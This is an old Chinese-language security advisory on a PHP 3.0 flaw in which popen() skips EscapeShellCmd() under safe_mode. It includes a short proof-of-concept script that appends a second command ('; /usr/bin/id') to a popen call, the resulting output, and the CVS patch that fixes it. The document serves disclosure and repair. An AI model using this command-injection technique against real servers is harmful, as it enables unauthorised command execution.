<span class="unnamed3">受影响的系统: PHP 3.00 <br>-------------------------------------------------------------------------------- <br>描述: <br> <br> PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了 <br>PHP的特色。这个语言可以让web开发者快速创建动态网页。 <br> <br> 因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性, <br>用于控制在允许PHP操作的webroot环境中执行命令。 <br> <br> 其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd() <br>函数,此函数用于确认在webroot目录外部不能执行命令。 <br> <br> 在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可 <br>以利用'popen'系统调用进行非法操作。 <br> <br>-------------------------------------------------------------------------------- <br>测试程序: <br> <br>警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! <br> <br><?php <br>$fp = popen("ls -l /opt/bin; /usr/bin/id", "r"); <br>echo "$fp<br>n"; <br>while($line = fgets($fp, 1024)): <br>printf("%s<br>n", $line); <br>endwhile; <br>pclose($fp); <br>phpinfo(); <br>?> <br> <br>输出结果如下: <br> <br>1 <br>total 53 <br>-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls <br>uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup) <br>and from the configuration values of phpinfo(): <br>safe_mode 0 1 <br><br>-------------------------------------------------------------------------------- <br>建议: <br>Index: functions/file.c <br>=================================================================== <br>RCS file: /repository/php3/functions/file.c,v <br>retrieving revision 1.229 <br>retrieving revision 1.230 <br>diff -u -r1.229 -r1.230 <br>--- functions/file.c 2000/01/01 04:31:15 1.229 <br>+++ functions/file.c 2000/01/03 21:31:31 1.230 <br>@@ -26,7 +26,7 @@ <br>| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> | <br>+----------------------------------------------------------------------+ <br>*/ <br>-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */ <br>+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */ <br>#include "php.h" <br>#include <stdio.h> <br>@@ -51,6 +51,7 @@ <br>#include "safe_mode.h" <br>#include "php3_list.h" <br>#include "php3_string.h" <br>+#include "exec.h" <br>#include "file.h" <br>#if HAVE_PWD_H <br>#if MSVC5 <br><br>@@ -575,7 +576,7 @@ <br>pval *arg1, *arg2; <br>FILE *fp; <br>int id; <br>- char *p; <br>+ char *p, *tmp = NULL; <br>char *b, buf[1024]; <br>TLS_VARS; <br> <br>@@ -600,7 +601,11 @@ <br>} else { <br>snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val); <br>} <br> <br>- fp = popen(buf,p); <br> <br>+ <br>+ tmp = _php3_escapeshellcmd(buf); <br>+ fp = popen(tmp,p); <br>+ efree(tmp); /* temporary copy, no longer necessary */ <br>+ <br>if (!fp) { <br>php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno)); <br>RETURN_FALSE; </span> <p style="width:100%;text-align:center;margin:10px 0"> <br> <br> </p> <p style="width:100%;text-align:center;margin:10px 0"> </p> <p class="clear"></p>